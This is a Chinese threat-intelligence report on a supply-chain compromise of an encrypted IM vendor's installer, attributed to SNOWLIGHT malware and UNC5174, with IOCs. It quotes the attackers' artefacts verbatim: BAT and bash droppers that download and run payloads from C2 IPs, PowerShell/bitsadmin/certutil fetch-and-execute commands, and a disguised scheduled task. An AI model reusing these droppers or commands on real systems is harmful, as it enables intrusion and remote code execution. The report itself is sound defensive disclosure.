返回 TI 主页

RESEARCH
数 据 驱 动 安 全

某加密IM官网供应链事件，“离岸”爱国者卷土重来

2026-05-12 By 红雨滴团队 | 安全事件

概述

奇安信威胁情报中心红雨滴团队私有情报生产流程发现一家面向中文用户提供私密IM的软件官网上的安装包被替换，下载信息如下：

字段名称 (Field)	详细信息 (Details)
Referrer	hxxps:// www.sXXXit.com/(官方网站) https://www.sXXXXchat.com/ (官方网站)
Download URL	https://XXXXsu.oss-cn-beijing.aliyuncs.com/XX_pc.exe (官方URL路径)
Malware MD5	df3bd55c46adbf13ae68b5a9b1da19a0

被替换的安装包除了正常流程外，还会释放如下组件，内存加载SNOWLIGHT下载者，最终运行魔改nps隧道。

名称	修改日期	类型	大小
config.dat	2026/4/27 10:00	DAT 文件	2 KB
event.dll	2026/4/30 16:21	应用程序扩展	2,789 KB
polymorphism.exe	2026/4/27 10:00	应用程序	225 KB
taskmgr.exe	2026/4/30 16:21	应用程序	1,529 KB
UpdateDriverSdk.dll	2026/4/30 16:21	应用程序扩展	2,431 KB

天擎高级威胁引擎可以对落地木马进行拦截：



SNOWLIGHT分析以及事件披露

SNOWLIGHT最早由Mandiant于2024年初披露[1]，归属于UNC5174。奇安信威胁情报中心则是在2024年低CSDN事件[2]的后续组件中观察到了SNOWLIGHT内存加载Vshell的情况，但并没有对外公开。直到2025年发布《Operation(润)RUN》[3]对UNC5174进行了明确的定性。

SNOWLIGHT支持linux和windows双平台，协议上支持http、https、websocket、QUIC等协议

Win平台事件

内网渗透

Win平台下的活动分为两类，一类通过sqlserver爆破和主流web组件漏洞入侵边界windows服务器，通过执行bitsadmin或者curl下载并执行BAT类型的SNOWLIGHT：

```
@echo off
setlocal enabledelayedexpansion

set u64="http://198.46.143.21:8084/?h=198.46.143.21&p=8084&t=ws&a=w64&stage=true"
set u32="http://198.46.143.21:8084/?h=198.46.143.21&p=8084&t=ws&a=w32&stage=true"
set v="C:\Users\Public\62817773ws.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
    set "ARCH=64"
)
if "%ARCH%"=="64" (
    certutil.exe -urlcache -split -f %u64% %v%
) else (
    certutil.exe -urlcache -split -f %u32% %v%
)

start "" %v%
exit /b 0
```

BAT脚本下载golang或C++版本的SNOWLIGHT:

```
v34[1] = v11;
while ( connect(v9, v34, 16i64) )          // <ws2_32.connect>
                                           // 107.148.61.185:8084
  MEMORY[0](10000i64);
((void (__fastcall *)(__int64, char *, __int64, _QWORD))send)(v9, v30, 6i64, 0i64);// <ws2_32.send>
                                           // W64
v42 = HIWORD(v34[0]);
```

C++编译的SNOWLIGHT如下:

```
v8(128164, v46);
strcpy(v32, "%s%s%s");
strcpy(v34, "log_de.");
v49 = 6778732;
v6(v46, v32, v46, v34, &v49);
result = v7(v46, 0i64);
if ( (_DWORD)result )
{
  strcpy(v33, "w64   ");
  strcpy(v50, "106.");
  strcpy(v51, "52.2");
  strcpy(v19, "08.1");
  v20 = 13108;
  v21 = 0;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  strcpy(v30, "%s%s%s%s");
  strcpy(v31, "%s%s");
```

不同的渗透阶段SNOWLIGHT加载的payload有所不同，在《Operation(润)RUN》一文中提到SNOWLIGHT回连内网节点的情况，在2026年初我们在媒体行业观察到了相同的案例，攻击者在目标内网的服务器区通过反向代理建立了多个SNOWLIGHT节点，并在横向移动过程中请求内网节点下载BAT类型的SNOWLIGHT：

Cmd
cmd.exe" /c EXEC xp_cmdshell 'powershell -nop -w hidden -c "$client = New-Object System.Net.WebClient; $client.DownloadFile(''http://172.XX.XXX9:38087/swt'', ''C:\Users\Public\run.bat''); Start-Process C:\Users\Public\run.bat"';
bitsadmin /transfer myjob /download /priority high http://172.XX.X.189:38087/swt C:\Users\Public\run.bat
certutil.exe -urlcache -split -f "http://172.XX.XX.24:8881/?h=172.XX.XX.24&p=8881&t=tcp&a=w64&stage=true" "C:\Users\Public\858f6b86tcp.exe"

内网SNOWLIGHT节点返回的banner信息如下：

```
HTTP/1.1 200 OK;Pragma: no-cache;.http-config.headers: Date, Server, Content-Length, Keep-Alive, Connection, Content-Type;Date: Mon, 26 Jan 2026 05:54:56 GMT;Server: NetDNA-cache/2.2;Content-Length: 5543;Connection: keep-alive;Content-Type: ;Cache-Control: max-age=0, no-cache;;
```

经过分析攻击者通过SNOWLIGHT下载的payload类型如下：

文件名	类型
chr.exe	浏览器窃密插件
fs.exe	Fscan内网扫描器
rrq.exe	提权工具
sanforV.exe	SharpWeb窃密工具

涉及的PDB如下：

PDB
D:\项目\武器化\内存加载PE\x64\Release\内存加载PE.pdb
D:\soft1\soft\浏览器dump\SharpWeb-main - 副本\SharpWeb-main\SharpWeb\obj\Debug\SharpWeb.pdb

鱼叉邮件

通过lnk钓鱼的方式启动SNOWLIGHT:

Lnk
XXXXXX技术学院机房项目&.pdf.lnk
targetcmd
C:\Windows\System32\rundll32.exe" url.dll,FileProtocolHandler ".__MACOSA__MACOSA__MACOSA__MACOSA__MACOSA__MACOSA\a.exe

随后内存加载开源项目SharpHunter，收集运维终端本机信息：



并给SNOWLIGHT创建计划任务：

Cmd
schtasks /create /tn "奇安信天擎安全浏览器服务" /tr "\"C:\Program Files\奇安信天擎安全浏览器\TQSecurityExplorer.exe\"" /sc onstart /ru

供应链水坑/仿冒水坑

除了本次披露的IM官网供应链之外，其还在仿冒一些私密IM官网，该活动可能与博彩业务有关。



以本次供应链落地的木马为例，polymorphism.exe 运行后会读取 config.dat 并在内存中解密执行，经分析为4KB大小shellcode态的SNOWLIGHT。

```
FileW = (WCHAR *)CreateFileW(v58, 0x80000000, 7u, 0LL, 3u, 0, 0LL);// config.dat
v59 = FileW;
if ( FileW == (WCHAR *)-1LL )
  v59 = (WCHAR *)(((unsigned __int64)GetLastError() << 32) | 2);
if ( v57 )
  sub_140007AA1(v58, 2uLL);
```

连接 18.179.119.184:80 下载后续载荷。

```
v80 = 0;
v81 = 0;
v82 = 0;
strcpy(v83, "%s%s%s%s");
strcpy(v84, "%s%s");                            // "18.179.119.184:80"
v49(v28, v24, v83, v97, &a9, &a10);
v49(v28, v24, v83, v96, &v75, &v77);
v49(v28, v24, v84, v98, v97, v96);
```

最终载荷为魔改的npm隧道，配置文件如下：

```
qmemcpy(v11, &unk_67B1C200, 0x5000uLL);
sub_6770D020();
sub_6785C6C0(20464, v1, 0x5000, v2);          // "{\"server\":\"18.179.119.184:80\",\"type\":\"tcp\",\"vkey\":\"xnjsioxk22\",\"proxy\":\"\",\"salt\":\"xnjsioxk22\",\
if ( v11 )
{
  v10 = (_QWORD *)sub_6770D020();
```

Linux平台事件

Linux平台下针对AI类型的服务器通过爆破和漏洞作为攻击入口启动反弹shell后下载bash类型的SNOWLIGHT脚本。

```
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="                                    &p=5566&t=tcp&a=l64&stage=true"
l32="                                    &p=5566&t=tcp&a=l32&stage=true"
a64="                                    &p=5566&t=tcp&a=a64&stage=true"
a32="                                    1&p=5566&t=tcp&a=a32&stage=true"

v="d91d2ec6tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
  (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
  (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
  (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
  (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
  (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
```

下载elf类型的SNOWLIGHT，最终内存加载魔改npm隧道。

```
loc_400A58                              ; CODE XREF: main+D8↓j
MOV             W0, W19                 ; fd
ADD             X1, X29, #0x50 ; 'P'    ; addr
MOV             W2, #0x10               ; len
BL              .connect

CMN             W0, #1
B.NE            loc_400A7C

MOV             W0, #0xA                ; seconds
BL              .sleep

B               loc_400A58

; ---------------------------------------------------------------------------

loc_400A7C                              ; CODE XREF: main+CC↑j
ADRP            X1, #aA64@PAGE          ; "a64   "
MOV             X2, #6                  ; n
ADD             X1, X1, #aA64@PAGEOFF   ; "a64   "
MOV             W3, #0                  ; flags
MOV             W0, W19                 ; fd
BL              .send

LDRH            W0, [X29,#0x1470+var_1420+2]
MOV             X2, #2                  ; n
STRB            W0, [X29,#0x1470+var_1428]
MOV             W3, #0                  ; flags
LSR             W1, W0, #8
MOV             W0, W19                 ; fd
STRB            W1, [X29,#0x1470+var_1428+1]
ADD             X1, X29, #0x48 ; 'H'    ; buf
BL              .send
```

```
RDI  0x0
RSI  0x0
R8   0xc000209000 ◂— '{"server":"[redacted]66","type":"tcp","vkey":"qwe123qwe","proxy":"","salt":"qwe123qwe","l
R9   0x0
R10  0x10
R11  0x10
R12  0xc000126160 ◂— 0x2d9d5253b0bb96e3
R13  0x10
R14  0xc0000061a0 —▸ 0xc00008e000 ◂— 0x0
R15  0x10
```

总结

目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。



IOC

FileHash-MD5:

df3bd55c46adbf13ae68b5a9b1da19a0

f7e32bac29d48021903a62e3c64ca84b

45fec0b0e4c8b99a9719a9f153272494

6c0b5793bf6074de94c13c23225573bd

b7b85cd03240cc51038adb027702ee22

3720be773080e5ba3a366c90ba7513b8

C2:

18.179.119.184:80

参考链接

[1] https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect

[2] https://mp.weixin.qq.com/s/qQw1DXE25Gkz_P8pEPVaHg

[3] https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-cn/

SUPPLY CHAIN ATTACK

分享到：

首页

某加密IM官网供应链事件，“离岸”爱国者卷土重来 >